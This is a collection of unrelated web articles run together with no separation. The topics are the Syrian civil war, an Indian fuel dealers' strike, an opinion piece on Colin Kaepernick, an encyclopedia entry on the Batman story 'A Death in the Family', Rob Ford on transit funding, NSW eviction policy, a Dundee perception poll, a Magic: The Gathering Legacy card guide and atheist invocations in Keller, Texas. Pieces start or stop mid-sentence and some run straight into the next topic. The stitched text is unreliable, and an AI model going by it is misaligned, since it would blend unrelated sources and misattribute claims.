Today that Syria is no more. The uprising, which is now a full-blown civil war between Mr Assad’s forces and the opposition, has brought new freedoms. Young Syrians are no longer afraid to deride the regime openly. Even within the security forces, people discuss politics. “We all say things we wouldn’t have dared talk about in our own homes before,” says Aisha, a mother of four from Idleb province, in the north-west. Neighbourly bonds have sometimes grown strong amid the bloodshed. Altruistic bravery is common. Women risk their lives to smuggle medicine to rebel areas through the regime’s checkpoints, because the soldiers are less likely to search them. In Damascus people sleep ten to a room, welcoming relations who have fled from more dangerous areas.
But these gains have come at a terrible price. War is tearing Syria apart. For months the country has been divided between Mr Assad’s forces and the rebel groups. Neither side has victory within its grasp. The rebels control swathes of land in the north and east, where the regime shells towns and villages and sends its aircraft to bomb military and civilian targets. The regime is determined to consolidate its grip along a north-south axis from Damascus through Homs and Hama (the country’s third- and fourth-biggest towns) to Latakia, the port and region that were home to the Assad family and its Alawite sect.
At present, there is no chance of a political opening that could lead to serious negotiations between the opposition and the regime. The circle around Mr Assad refuses to contemplate his exit. Until recently the political opposition, which since November has been gathered under an umbrella calling itself the Syrian Opposition Coalition, had refused to negotiate unless Mr Assad goes first. He, meanwhile, has taken comfort from the solid financial and political backing of Iran. Russia, which supplies Mr Assad with money and weapons, has sometimes hinted that it will put pressure on him, only to step back at the last minute—possibly, Western diplomats speculate, on the personal command of Vladimir Putin. They believe that Russia’s president is determined to frustrate the West, especially America, and to prevent it from forcing change, as it did in Libya. A joint call from Russia and the Arab League for a negotiated settlement does not mean that calculation has changed.
Western governments have struggled to keep up with what is happening inside the country. Fearing another Middle Eastern adventure in the wake of Iraq, the American administration has been reluctant to do anything beyond calling for Mr Assad to go. At a congressional hearing earlier this month Leon Panetta, the outgoing secretary of defence, and General Martin Dempsey, the chairman of the joint chiefs of staff, revealed that they had recommended arming the rebels. Although this plan had the backing of Hillary Clinton, then secretary of state, and David Petraeus, then head of the CIA, the White House vetoed the idea. Though Britain and France would like to ease the European Union’s arms embargo, some European states, including Germany and the Nordic countries, are set against doing so. On February 18th, at a meeting in Brussels, the EU endorsed a compromise resolution to provide more “non-lethal aid”. Members of the Syrian opposition grumble that even the West’s pledges of cash to the political opposition have not been honoured.
Opposition fighters, divided into numerous groups, varying from large battalions of a thousand to handfuls of men, get far fewer weapons than they had hoped. Gulf countries, including Qatar, Saudi Arabia and Kuwait, have supplied mostly light weapons, many through private donors. Libya has chipped in. But the rebels are equipped mainly with AK-47 rifles, home-made rockets and kit captured from Mr Assad’s arms depots and barracks.
The din of battle
The UN reckons that 70,000 Syrians, mostly civilians, have died. The true figure is probably far higher: thousands have gone missing or have been locked up. In the past few weeks an average of 5,000 people have fled every day. The UN’s High Commission for Refugees (UNHCR) says the number now exceeds 860,000, but many more have left uncounted. The number displaced within the country is higher still. More than 4m Syrians now lack fuel, electricity, a telephone line and food.
A hardened and increasingly sectarian underclass on each side—disenfranchised mainly Sunni rebels and the regime’s mainly poor Alawites—is bearing the brunt of the battle. Middle-class Syrians and secular activists are leaving in droves. A lawyer in Tal Abyad, a border village north-east of Aleppo, Syria’s second city, bemoans the fact that armed rebels have displaced the civilians who sought to administer his town and the area around it. Yet the hundreds of rebel groups, despite their efforts to co-ordinate, have failed to jell into a coherent army with a chain of command. Each of them wants to stake out its own patch. Opposition groups seem keener to court their financial backers than to lighten the burden of local civilians.
Sometimes the rebels turn on each other and fight. Islamist groups have clashed with the Kurdish militias that control the north-east of the country, where most of Syria’s Kurds live. Syria will be harder to put together again after the war ends.
Mr Assad and his family, conscious of their minority status in a mainly Sunni country and thus determined to keep Syria broadly secular, insist that the rebels are Islamist extremists, as dangerous to the West as they are to the Arab world. In fact, few of the protesters who started the uprising two years ago were very devout. Alawite defectors are still helped to flee the army. The rebels have mostly left Christians alone. Nor have they slaughtered Alawites, despite the massacres carried out by Mr Assad’s thugs against Sunni villages around Homs. Salafism, the strict version of Islam that has gained ground elsewhere in the Arab world, never found fertile ground in Syria.
But this is changing, too. Western intelligence sources say that jihadists are now arriving in Syria by the busload. Jabhat al-Nusra, the most devout Syrian battalion, which shares al-Qaeda’s worldview, is getting stronger. In December an armed group trashed a Shia prayer house in Zarzour, a town in Idleb. Though many Syrians reject the jihadists the war is becoming religious.
The war has made many Syrians more sectarian in outlook. Alawites have been drafted into the regime’s security forces and militia. “We see that Alawites are stuck,” says Abu Adnan, a rebel fighter in Latakia province, “because Bashar is trying to tie all of their fates to his.”
Both middle-class Syrians and religious minorities are increasingly worried by the way even moderate opposition groups talk of an “Islamic state” to replace Mr Assad’s regime. “We’re bringing back the rule of the Sunnis,” proclaims a fighter in Aleppo’s Tawhid battalion. “We’re the majority, so it’s only fair.” Alawites have reason to be afraid. It is hard to imagine them moving back to mixed cities such as Homs.
Many Syrians have for years looked to mildly Islamist Turkey as an example. “But they aren’t an Islamic state,” grumbles a rebel fighter. “We want something stronger.”
Spot the jihadist
Many Christians are emigrating, having seen what became of their brethren in Iraq and Egypt. Alawites in Damascus say that Maher Assad, the president’s ruthless brother and commander of the Republican Guard that is at the core of the regime, should take over to become their saviour and protector if Bashar is killed.
Beneath it all is the brutalisation of Syrian life. Disputes that have nothing to do with the uprising are being settled with guns. Assassinations and kidnappings have become more frequent. By arming loyalist neighbourhood committees, the regime is dragging more civilians into the war. “I see how my men have become used to killing,” says a rebel commander with Farouq, a large battalion that has brigades spread across the country. “Soon we won’t even realise it is wrong.”
Thousands of homes, factories, schools and hospitals have been razed. Doctors, teachers and engineers have fled. Many Syrians worry that the war will finish only when no one is left to fight. “I just want it to end so I can get married and get on with my life,” sighs the rebel commander. “I am worried that when this is done there won’t be a country left.”Over 54,000 petroleum dealers on Saturday announced nationwide strike of dealers on October 13 in order to press for various demands including better margins and inclusion of petroleum products in the Goods and Services Tax (GST). United Petroleum Front (UPF) also threatened that fuel dealers will be forced to stop purchase and sale operations from October 27 for an indefinite period if the demands were not met at the earliest.
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The announcement comes a day after Union Finance Minister Arun Jaitley reduced the tax rate on over two dozen goods and services categories after chairing the 22nd meeting of the GST Council.
UPF represents dealers from the Federation of All-India Petroleum Traders, the All-India Petroleum Dealers Association and the Consortium of Indian Petroleum Dealers.
The main intention of the strike is to press for long-pending demands ignored by the state-run oil marketing companies (OMCs) since an agreement was signed last November, it said.
Other demands included upward revision of the dealer margins every six months, better terms for return on investment, resolution of manpower issues, a fresh study of handling losses, and resolution of issues related to transportation and ethanol blending.
The group also alleged that its letters to oil marketing companies as well as a letter from the Cabinet Secretariat dated June 28, did not elicit positive response. Besides, dealers also want the government to bring petrol and diesel under the GST regime.
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Among other grievances, fuel dealers are also against the daily price mechanism introduced from July 1, saying it has benefited neither the consumers nor the dealers. They are also opposed to a proposal of the government to allow home delivery of oil products, citing safety concerns.
With PTI inputsThere’s been a lot of talk about the Baltimore Ravens’ interest in signing Colin Kaepernick, which has been met with backlash. But that backlash is foolish.
NOTE: This is an opinion piece. The views presented in this piece are solely that of the author’s and do not necessarily reflect the views of The Baltimore Wire.
There’s been a lot of talk about how interested the Baltimore Ravens are in quarterback Colin Kaepernick, and that’s caused quite a stir in the city of Baltimore. Some fans have reportedly voiced their displeasure with the idea of signing Kaepernick, but the backlash is foolish, as Kaepernick would be a perfect fit for Baltimore.
If you live in a cave and don’t know why people are all bent out of sorts about Kaepernick, here’s why: last season, Kaepernick decided to kneel during the National Anthem each game as a form of peaceful protest, saying “I am not going to stand up to show pride in a flag for a country that oppresses black people and people of color.”
This drew all kinds of controversy, mostly from people saying he was disrespecting the country. Even former quarterback Boomer Esiason called Kaepernick an “embarrassment” and a “traitor.”
Here’s the thing that bothers me: The NFL has featured players accused of murder, players who have committed domestic abuse (remember one of them being applauded in M&T Bank Stadium after he was shown on video hitting his fiancee?), have committed burglary, have driven drunk (and one former Raven even killed someone doing it), have committed sexual assault, but NFL fans draw the line at kneeling during the National Anthem? Really?
The controversy around Kaepernick shouldn’t even be a controversy, it’s an idiotic thing to get this upset about. The man exercised his right to protest and he did it in a very peaceful way to bring light to the Black Lives Matter movement.
And if you want to discredit his message, if you want to say we live in a country where people of color are not routinely targeted by police, you’d be definitively wrong, as there is study after study after study after study that has shown that black people and people of color are disproportionately targeted by authorities.
But let’s put aside the social controversy, let’s just look at pure football, would Colin Kaepernick be a good fit for the Baltimore Ravens? Absolutely he would. In fact, I think you could make a pretty fair argument that Kaepernick is better than Joe Flacco, as Pre Snap Reads does here.
The NFL has featured players accused of murder, players who have committed domestic abuse…have committed burglary, have driven drunk…have committed sexual assault, but NFL fans draw the line at kneeling during the National Anthem? Really?
Flacco has always been a serviceable starting quarterback who had an amazing playoff run and Super Bowl in 2012 and has been riding high off that ever since. Kapernick is a very solid all-around quarterback who is at least as good as, if not arguably better than, Flacco.
Not to mention that Flacco is hurt, and we don’t know how long he’ll be hurt for. It’s a back injury, and while the Ravens sound fairly optimistic about it, they were also pretty optimistic about Breshad Perriman‘s injury in 2015, and he ended up missing the entire season.
This Ravens squad has an excellent defense that I think has improved from last year’s already-great defense, and I think the offense has improved in a meaningful way with the addition of Jeremy Maclin and Danny Woodhead.
This is a team that could be a serious contender. If Flacco is hurt for a significant portion of the year, is Ryan Mallett really the guy to lead the team? He isn’t, but Kaepernick could be. Kaepernick has done it before, he’s been to the Super Bowl, he’s proven himself.
Ravens fans, and NFL fans in general, really need to stop with the Colin Kaepernick controversy, because it’s hardly a controversy at all. If the Ravens decide to sign Kaepernick, I can tell you for certain that I will be happy to have him in Baltimore, because I think he would fit well with the team.
And if he wants to kneel during the National Anthem, good for him."A Death in the Family" is a four-issue Batman comic book storyline published by DC Comics. The story was written by Jim Starlin and illustrated by Jim Aparo, while Mike Mignola designed each cover. The story follows Jason Todd/Robin's quest to be reunited with his birth mother after being relieved of his duties by Batman. During his journey, however, the Joker kidnaps and tortures him, eventually killing him. The storyline is notable for its 900 number voting system, in which fans were allowed to call two separate numbers and chose whether Jason would survive the Joker's torture or die.
Introduced as a replacement for then-Robin Dick Grayson in 1983, the impulsive Todd had grown very unpopular amongst readers. Aware of this, editor Dennis O'Neil conceived of letting fans decide his fate, leading to the creation of the storyline. For 36 hours, beginning on September 15, 1988, readers could call the two numbers to cast a ballot on whether he should live or not. Over 10,000 votes were cast, with a narrow majority in favor of killing the character. In Batman #428, the Joker kills Todd by blowing up the warehouse he is being held hostage in.
Upon its publication, "A Death in the Family" attracted massive media attention, some of it critical. In retrospect, the storyline is remembered as one of the most important in the Batman family of comics. Elements of the story have since been incorporated in various Batman-related media.
Plot [ edit ]
Batman relieves Jason Todd of his duties as Robin due to his impulsive nature. Enraged, Jason storms off. On his own, he learns that Catherine Todd is not his biological mother and sets off to find his real mother, eventually tracking her to the Middle East. Meanwhile, the Joker escapes from Arkham Asylum, and Batman learns that he has obtained a nuclear weapon and plans to sell it to terrorists in war-torn Lebanon.
Batman follows the Joker to Lebanon, where he and Jason are reunited and foil the attempts of terrorists using the Joker's weapons. After interrogating a woman Jason suspects to be his mother, the duo travel to Ethiopia. There, they meet aid worker Sheila Haywood, who proves herself to be Jason's mother. The Joker discovers that Haywood had previously performed illegal operations on teenagers in Gotham and has been blacklisted as a medical practitioner. The Joker uses this information to blackmail her into giving him the medical supplies her agency has stockpiled in a nearby warehouse. He sells them on the black market and stocks the warehouse with Joker venom which, once set off, will kill thousands of people. Haywood herself had been embezzling from the aid agency and hands Jason to the Joker.
The Joker proceeds to torture Jason using a crowbar, after which he restrains him and Haywood and blows up the warehouse using a time bomb. Batman arrives too late and both die of their injuries. Traumatized, he takes their remains to back to Gotham and holds a burial for them with his friends. Blaming himself for Jason's death, Batman resolves to continue alone. Meanwhile, the Joker is given a position in the Iranian government by Ayatollah Khomeini and leaves Batman a clue where to find him; the clue leads to the United Nations building in New York City. While waiting for him, Batman is confronted by Superman, who was sent by the State Department and asks him to leave. The Joker is to be Iran's representative at the U.N. and will be giving a speech at the General Assembly, and any confrontation between the two could start a diplomatic incident.
During his speech, the Joker attempts to kill the entire chamber with his venom. However, Superman intercepts the gas as Batman chases the Joker. The Joker gets out of the building and into a helicopter sent for him by his sponsors. Batman gets in and confronts the Joker; during their clash, one of the Joker's henchmen opens fire with a machine gun, hitting the Joker and Batman with gunfire. The pilot is also accidentally shot, loses control of the aircraft, and crashes it into the sea. Superman saves Batman, but is unable to find the Joker. Batman laments that everything between him and the Joker ends that way: unresolved.
Analysis [ edit ]
Writing for Den of Geek, Jamie Hailstone noted "A Death in the Family"—which features the Joker forming an alliance with the radical dictator Khomeini—was written at the height of tensions between the United States and Iran.[1] Comic Book Resources' Brian K. Easton wrote that this allowed the story to go "down in the annals of bizarre story twists, even for superhero comics".[2]
Several writers have pointed out that Jason's death causes Batman to show emotions not normally associated with the character: grief and revenge.[1] Comics historian Matthew K. Manning noted that within the comics, Jason's death haunted Batman for many years.[3]
Background and creation [ edit ]
Jason Todd, the second character to take the Robin persona, was introduced in Batman #357 (March 1983).[3] He was initially depicted with a personality and origin identical to that of predecessor Dick Grayson. However, the history-altering events of Crisis on Infinite Earths and Batman: Year One allowed editor Dennis O'Neil, writer Max Allan Collins, and artist Chris Warner to revise his backstory and personality. The changes caused Todd to grow increasingly unpopular amongst fans during this period;[3][4] unlike the cheery and optimistic Grayson, this new characterization of Todd was depicted as foul-mouthed, impulsive, and bad-tempered.[5]
Aware of Todd's unpopularity, O'Neil and writer Jim Starlin began discussing ways to retire the character, and before long, began to consider killing him altogether. During an editorial retreat, O'Neil recalled the success of a 1982 segment of Saturday Night Live, in which Eddie Murphy encouraged viewers to call the show if they wanted him to boil Larry the Lobster on air. O'Neil proposed a similar idea involving Todd to publisher Jenette Kahn, who liked the idea.[5] O'Neil would later state:
We didn't want to waste it on anything minor. Whether Firestorm's boots should be red or yellow... This had to be important. Life or death stuff. Dennis O'Neil[5]
On the back of Batman #427, an advertisement was run featuring Batman carrying a severely wounded Robin. In the ad, readers were warned that Robin would die of his injuries "because the Joker wants revenge", but that they could "prevent it with a telephone call". Two 900 numbers were given: one (1-(900) 720-2660) which would let Robin live, and another (1-(900) 720-2666) which would cause him to die.[3] The numbers were active for 36 hours, beginning on September 15, 1988, at 8 A.M. EST and ending on September 16, 1988, at 8 P.M. EST.[5] Readers were charged 50 cents per call.[3] Approximately 10,614 votes were cast during this period. When tallied, the final results were extremely narrow, with 5,343 votes in favor of Jason's death over 5,271 for his survival—a margin of just 72 votes. O'Neil would later admit to having voted in Todd's favor, as he felt that Batman was incomplete without Robin and feared killing Todd would lead to backlash.[5]
"A Death in the Family" was written by Starlin. The artwork was illustrated by Jim Aparo, inked by Mike DeCarlo, and colored by Adrienne Roy. John Costanza handled the lettering, and Mike Mignola designed each issue's cover.[3][6] The four-part storyline began in Batman #426 (December 1988), and concluded in Batman #429 (January 1989).[3][5] Two versions of issue #428 were prepared: one that would be used if readers voted in favor of Todd's survival, and another to be used if he was to be killed; the latter version ended up being used.[5][7] The storyline was later collected in trade paperback and hardcover form as Batman: A Death in the Family after its conclusion.[3][4][7][6] A 2009 collected edition also includes issues of "A Lonely Place of Dying", the introductory story of Tim Drake.[8]
Reception and legacy [ edit ]
When it was first released, "A Death in the Family" generated massive media coverage and backlash over the decision to kill Robin, a beloved comic book character and pop icon.[5] Newspapers such as USA Today and Reuters published articles about it, the latter of which would state that "a group of comic book artists and writers has succeeded in doing what the most fiendish minds of the century... have failed to accomplish".[5][9] Frank Miller, author of The Dark Knight Returns (1986), was highly critical of the story, describing the "toll-free" number voting as "the most cynical thing [DC] has ever done".[5] O'Neil and his team were caught off-guard by the amount of attention the story drew; according to him, it lasted four straight days, and was unlike anything the team had previously experienced.[5] The storyline was a bestseller in both the standard single-issue and trade paperback format.[3]
In retrospect, Hilary Goldstein of IGN called "A Death in the Family" one of the best Batman graphic novels ever written.[4] He described the story as "worth the price of admission", and considered letting readers vote on Todd's fate to be one of DC's strongest decisions.[7] Both Goldstein and NPR contributor Glen Weldon agreed with the choice of killing Todd, as both felt the character was poorly developed and inferior to Grayson.[5][7] Screen Rant praised Aparo's cover for the collected version, describing it as "iconic" and perfect for showing such a grim, sad moment.[10] Chris Davidson of CBR would criticize the 2013 story "Death of the Family", writing that while "'A Death in the Family' had repercussions for the Bat-family lasting years, 'Death of the Family' featured zero consequences".[11]
Following "A Death in the Family", Marv Wolfman and George Pérez wrote "A Lonely Place of Dying", which introduced Tim Drake as the next incarnation of Robin. Drake was much more popular and well-received than Todd, and would go on to star in his own series.[3] "A Death in the Family" altered the Batman universe: instead of killing anonymous bystanders, the Joker murdered a core character in the Batman fiction; this had a lasting effect on future stories.[7][12] Jason Todd was resurrected in the 2005 storyline "Under the Hood", in which he adopts the persona of the Red Hood and seeks revenge on the Joker for the events of "A Death in the Family".[13] Todd later appeared in the 2009 story "Battle for the Cowl" and the 2010 miniseries Red Hood: Lost Days,[3] before starring in the first and second volumes of the ongoing series Red Hood and the Outlaws.[14]
"A Death in the Family" was referenced in "Emperor Joker", a 2010 episode of Batman: The Brave and the Bold (2008-2011). In it, a fourth wall-breaking Bat-Mite references the comic and the 900 number, and Batman is briefly seen cradling Robin.[15] The story was briefly featured in a flashback sequence during the first minutes of the animated film Batman: Under the Red Hood (2010).[16] The story is also referenced in the DC Extended Universe films Batman v Superman: Dawn of Justice and Suicide Squad (both 2016), which hinted that the Joker and Harley Quinn killed Todd prior to the films' events.[17][18] Batman: The Animated Series alumni Kevin Conroy (Batman) and Mark Hamill (the Joker) teased producing an animated adaptation of "A Death in the Family" during a panel at Canada's Fan Expo in 2016.[19][np_storybar title=”Watch the video” link=”#1″]
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He may be the “subways, subways, subways” mayor, but Rob Ford suggested Tuesday that using tolls and taxes to pay for such expensive transit makes him want to vomit.
[np_storybar title=”Matt Gurney: The problem for funding transit isn’t raising the $50B needed. It’s trusting the government to spend it right” link=”http://news.nationalpost.com/2013/03/25/matt-gurney-the-problem-for-funding-transit-isnt-raising-the-50b-needed-its-trusting-the-government-to-spend-it-right/”%5D
It was about halfway through a meeting with John Tory and Mitzie Hunter, of advocacy group CivicAction, that I began to wonder how much it cost to invent the atomic bomb.
CivicAction has been working for years to raise public awareness about the need to properly fund Metrolinx’s “The Big Move” plan. The Big Move lists dozens of identified transit projects throughout the Greater Toronto and Hamilton Area (GTHA) that, if completed, would not only improve local transit, but would also create an integrated regional system. Some are already underway. But dozens more remain unstarted and unfunded. It’s an issue that politicians in and around Toronto love to talk about, but none seem capable of actually addressing. And delay only makes the problem worse — hundreds of thousands of new residents move into the GTHA every year.
Read more...
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After hearing Metrolinx’s shortlist of ideas for revenue tools to pay for a planned expansion costing about $2-billion a year over 25 years, Ford responded by pretending to gag in front of reporters.
“We can’t tax people, implement these new taxes to pay for transit. You want to pay for transit? I’ve got a good idea: it’s called a casino,” Ford said at press conference to kickoff the city’s spring cleanup.
“You can get a lot of money to pay for a good amount of the transit. You can get the private sector involved. People aren’t ready for new taxes yet, they just aren’t, so I can’t support any of these new taxes, and that’s it.”
The shortlisted revenue ideas include; highway tolls, an employer tax, a gas tax, toll lanes, a parking space levy and a sales tax.
Toronto’s controversial mayor has remained steadfast in his opposition to such revenue tools, despite Ford’s repeated failures to find money and support for his promised expansion to the Sheppard line.
Metrolinx, the crown agency responsible for the planning of transit in the Greater Toronto Area and Hamilton, refused to comment on Ford’s reaction to their proposals.
“No, I don’t have any comment on that,” said Bruce McCuaig, president of Metrolinx, at a nearby press conference.
Metrolinx had looked at 25 different revenue ideas and has already held a dozen roundtable meetings with residents of the GTA and Hamilton area.
It will submit its final report to the provincial government in June.
With files from Natalie Alcoba and Megan O’Toole, National Post
<a id=”1″></a>Liana Levin outside Meriton apartments in Zetland where she was evicted for no reason. Credit:Nick Moir "They said they didn't have to give a reason," she said. "It was horrible for me as a single mum; it affected the kids; their father; everyone." The state opposition will on Wednesday promise that if it wins the 2019 state election it will end no-fault evictions. Tenants' rights groups and legal centres say a landlords' ability to evict people from a property within 90 days can follow complaints to landlords or requests for maintenance. "It's time people in the rental market are looked after and we are making that commitment – NSW Labor will give renters the certainty and stability they deserve," said Opposition Leader Luke Foley.
NSW Opposition Leader Luke Foley says it's time people in the rental market were given stability. Credit:AAP Labor's policy follows a resolution of its state conference and will develop a list of reasonable grounds on which a landlord may evict a tenant and cap rent increases at once-yearly intervals. Once a tenant's formal lease has expired, Labor argues there are "limitless opportunities" to increase their rent, which can be "misused to force tenants out of properties". "A third of people are renters and more people are making the decision to do so long term," Mr Foley said. "But they don't want the option of a landlord evicting them [...] hanging over their heads." Ms Levin believes her eviction notice followed complaints to her landlord – property developer Meriton – about a $50 increase to the rent on her two-bedroom apartment and earlier emails in which she complained about the landlord "increasing our rent four times from $290 in May 2014 to $750 in June 2016".
Meriton replied saying it was slowly bringing the property's rent up to market value. Meriton said Ms Levin was served the no grounds notice because she was not on the apartment's lease – something she acknowledges occurred after her ex-husband moved out – and was offered to re-apply to rent the apartment at a new market rate of $840. After an exchange of emails to the company pleading to let her remain in the apartment through the end of the year, she claims a Meriton employee told her "she shouldn't bother" applying for other properties owned by the company, which she says limited her options in a suburb in which the company has developed 10 apartment towers. "Meriton denies the relevant property manager said the words claimed by Ms Levin," a spokesman for the company said. "In no way was Ms Levin 'blacklisted' from Meriton apartments."
Meriton also said it offered to show her other similar units in her budget, an offer they said she declined. Labor says it will also extend the length of tenancies by making yearly agreements the default minimum term (replacing leases as short as six months) and work with agents and renters to develop options for leases as long as five years. Between January 2016 and May 2017, NSW Fair Trading received 278 complaints about termination of tenancy, including perceived unfair termination and retaliatory eviction, "due to the tenant either seeking repairs or maintenance... or [eradication of] mould". But the Better Regulation Minister Matt Kean accused Labor of hypocrisy and said that it previously stripped tenants of the right to argue against terminations at tribunals in 2010, when it was in government. "My focus in the coming months will be to look at ways to make life better and fairer for NSW renters," he said.
The minister said he was considering a fairer lease-break fee for tenants, improved rights to repairs being undertaken, better disclosure requirements prior to a tenant signing a lease and protection of tenants' rights to photos of their properties. "I look forward to having more to say about these important reforms in the near future," he said. The state government has recently developed a taskforce looking to grow the "build to rent" market in NSW, which would have investors build apartments to lease on a long-term basis, instead of sell them for quick profits.A poll of people across Scotland found that Dundee is a 'friendly' and 'historic' city.
© STV
Dundee can add a fourth ‘J’ for joviality to its famous three – jam, jute and journalism – after a nationwide poll found it is one of the friendliest cities in Scotland.
A public perception survey on how Scotland views the sunniest city in the country found that 70 per cent of participants felt that it had a happy and progressive reputation.
Around 65 per cent of poll participants also described Dundee as historic, while over half felt the city was modern
Councillor Will Dawson, convenor of city development, said the results were pleasing.
He added: “The survey results are really encouraging, but we still need to build a stronger reputation, especially in the central belt - one which really matches the amazing changes which have taken place in Dundee over the last few years.
“For example, in terms of the many attractions we have here, Edinburgh and Stirling are not the only cities that have castles - in fact there are five in the Dundee area.
“Over 35 per cent of the people asked in the survey had visited Dundee before, but not within the last year, and clearly this is an area that we have to improve on by continually driving home that Dundee is a modern city with vibrant entertainment, leisure and retail sectors in addition to its reputation as bustling centre of innovation.”
The campaign will also highlight Dundee’s reputation as a launch pad for great talent. Snow Patrol, The View, and KT Tunstall are just a few musicians that have originated from the area, as well as being home to cult music bible, Clash magazine.
The results of the poll are |
the Reliquary activations, and she can also get extra Mother of Runes activations. She also holds equipment very well as she can serve both attacking and blocking duty. A Maverick player’s manabase is also protected pretty handily with Scryb Ranger, as any green dual land that can get Wastelanded can just be bounced with Scryb Ranger’s last ability. This creates a cute trick with Dryad Arbor, as it Fogs a creature for just the low cost of a land drop each turn. Lastly, protection from blue makes the Ranger an infinite blocker versus Delver of Secrets, Snapcaster Mage, and the fishy folk of the sea.
How to play around it: Unlike AEther Vial, where you have to anticipate what your opponent has, as long as Scryb Ranger is on the field, you can analyze your opponent’s lines of play. Wastelanding green duals is a futile strategy, so don’t try that. Keep in mind that they can only activate the Ranger’s last ability once each turn, so if you can bait your opponent into prematurely using that ability, you can get free reign for the rest of the turn. Also, remember that he untaps creatures! Just because your opponent attacked with their only creature doesn’t mean that you get to get in for a couple of damage for free. In fact, you might be in a world of pain. Scryb Ranger can flash in at any moment to cause headaches.
Wirewood Symbiote
Most commonly seen in: Elves
What it does: Wirewood Symbiote makes Elf decks immune to removal. The Symbiote is kind of like a Mother of Runes, except it helps trigger Glimpse of Nature or enter the battlefield effects like Elvish Visionary.
How to play around it: Kill the Wirewood Symbiote as soon as possible. The Symbiote is not an Elf itself (it’s an insect) so it can’t return itself. However, if the Elf player has a Mirror Entity out, be aware that he can turn the Symbiote into an Elf with Mirror Entity and return it to their hand.
Price of Progress
Most commonly seen in: Burn, UR Delver, Zoo
What it does: Price of Progress punishes developed mana bases. It also has a tremendous amount of reach. Ever kill an opponent from 16 life with only two spells? Yeah, it can happen, and quite frequently too.
How to play around it: It’s not too difficult – step number one is to fetch basic land. Cards like Scryb Ranger and Daze can bounce dual lands to mitigate the damage. Wastelanding your own lands (or even itself, yes that’s a legal play since you declare targets then pay costs) also helps too.
Karakas
Most commonly seen in: Maverick, Death and Taxes, Stoneblade, any deck with white
What it does: Returns legendary creatures to their owner’s hand. Despite the original wording, it cannot return an Umezawa’s Jitte to its owner’s hand. While its main use is bouncing Emrakuls and Griselbrands, it also has a fair bit of utility, such as bouncing Gaddock Teegs to resolve a giant spell or X spell. Death and Taxes abuse its interaction with Mangara of Corondor. Since Mangara of Corondor exiles itself upon resolution and not as you activate it, returning it to your hand will still exile the permanent it’s targeting.
How to play around it: When you see a Karakas in play, keep an eye on legendary creatures. Since being legendary isn’t relevant most of the time, it can be easy to forget—there are many situations we’ve seen where a player lets a Thalia die, even with an untapped Karakas out. Also, Karakas is legendary itself, so you can “wasteland” an opposing Karakas by playing a Karakas. Keep this in mind if you have an active Knight. You can get rid of their Karakas without burning a Wasteland. Plus, your opponent can’t respond to it since the legend rule doesn’t use the stack. [Editor’s Note: With the new Legendary Rules, this doesn’t work anymore]
Narcomoeba
Most commonly seen in: Dredge
What it does: Narcomoeba is part of the Dredge engine that allows Dredge to get zombies into play for zero mana. A common line of play is to Dredge Narcomoeba into the graveyard, put into play, then sacrifice it to Cabal Therapy or Dread Return.
How to play around it: Getting rid of Narcomoeba before the Dredge player can get any value out of it is a little tricky. If they Dredge into a Narcomoeba during their draw step, you can Swords to Plowshares it at the end of the draw step so they can’t use it as Cabal Therapy fodder. However, if they Dredge into it at another point in the turn—for example, during a Breakthrough or Faithless Looting—it may not be possible. If they have several Narcomoeba triggers, you can exile them as the triggers resolve but before the last Narcomoeba trigger resolves. This is because when a spell or ability resolves, the active player (the player whose turn it is) receives priority and can do something before an opponent can respond. If the last trigger resolves, the Dredge player gets priority and can feel free to sacrifice the Narcomoeba to a Cabal Therapy. Of course, once they sacrifice the Narcomoeba to the Cabal Therapy, you are free to respond at that point with say, a Cursecatcher to remove all of the Bridge from Belows.
Vendilion Clique
Most commonly seen in: Blue control decks, Stoneblade
What it does: Vendilion Clique’s flash plus pseudo-discard can be troublesome for many players. A common use is flashing it in during the draw step, as to prevent the player from casting the spell unless it is an instant. Its evasion and undercosted body makes it a prime choice for control decks as not only a win condition, but disruption as well.
How to play around it: Vendilion Clique hits a lot of things and admittedly, tough to play around. You can’t really play around a Clique in response to a Show and Tell except for countering it outright. Clique can also get rid of Miracles, equipment flashed in with Stoneforge Mystic (Batterskull is the bigger offender), and creatures about to be put into play with AEther Vial. However, there are subtle ways to use Clique. For example, many players hold fetchlands in play until they actually need the mana, so when they go to fetch for a big spell, a player can cast Vendilion Clique in response to the fetchland activations to get rid of the spell. If you anticipate a Vendilion Clique, make sure to have your mana well beforehand in order to avoid this situation. Also, another way to play around Vendilion Clique with AEther Vial is to simply activate Vial each turn, even if you don’t have a creature to put into play (since it is optional). That way, your opponent may burn their Vendilion Clique too early.
Also, keep in mind that Vendilion Clique can be bounced by a Karakas. Some players can lock their opponents out of the game with that combination.
Getting Blown Out Sucks
Legacy is a pretty intimidating format to get into. There’s no worse feeling than losing to something you know you would have played around if you knew such a card existed. Hopefully this article can ease your transition into Legacy. If there’s more demand for another article like this, we’ll create another one.
Until next time, don’t get blown out by one of these ten cards.
Jason & Jeff
@mtgtwin1 and @mtgtwin2 on Twitter, respectivelyZachary Moore is an atheist and a humanist — someone whose worldview is centered on leading an ethical life for the greater good of humanity, rather than a deity — and has given three invocations at the beginning of City Council meetings.
Each time, his invocation has been followed by a Christian prayer.
Moore, of Keller, said that he’s been treated unfairly and that the city discriminated against him because he’s not a Christian.
John Salvesen, senior pastor at Bear Creek Bible Church, who schedules the invocation speakers, said the issue with Moore’s invocation is that “it’s not a prayer,” which is what the council members desire.
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Moore contacted the Freedom From Religion Foundation and was told that it was illegal for the city to deny him the chance to give the only invocation. The foundation sent a letter to Mayor Mark Mathews and the council on Oct. 1 requesting the city adopt a “fully constitutional policy” so that it doesn’t appear to favor Christian messages over others.
In response, Keller decided to open every council meeting with two invocations, at least one of which must be a prayer.
On Tuesday, Nathan Pierce, a leader from the Church of Jesus Christ of Latter-day Saints, and Tim Pyle from the Alliance Community Fellowship offered prayers.
Ken Klukowski, director of strategic affairs at the Plano-based Liberty Institute, said allowing two invocations sets what could be a dangerous precedent. The institute says its mission “is to defend and restore religious liberty across America.”
“In an effort to be inclusive, Keller has stepped outside the safe harbor of court protection,” Klukowski said. “If you’re doing two to be more inclusive, three is more inclusive than two, and four is more inclusive than three.”
In an effort to be inclusive, Keller has stepped outside the safe harbor of Court protection. Ken Klukowski, with the Liberty Institute
Standing behind court decisions
Moore and Salvesen cite the same U.S. Supreme Court decision as backing their points of view.
In the May 2014 case of Town of Greece v. Galloway, the court ruled that the small New York city may continue opening council sessions with prayer.
“The Supreme Court decided that the invocations in Greece, N.Y., were constitutional, but only because they were inclusive so they did not allow any one denomination or religious perspective to dominate,” Moore said.
In the May 2014 case of Town of Greece vs. Galloway, the U.S. Supreme Court ruled that the small New York city may continue opening council sessions with prayer.
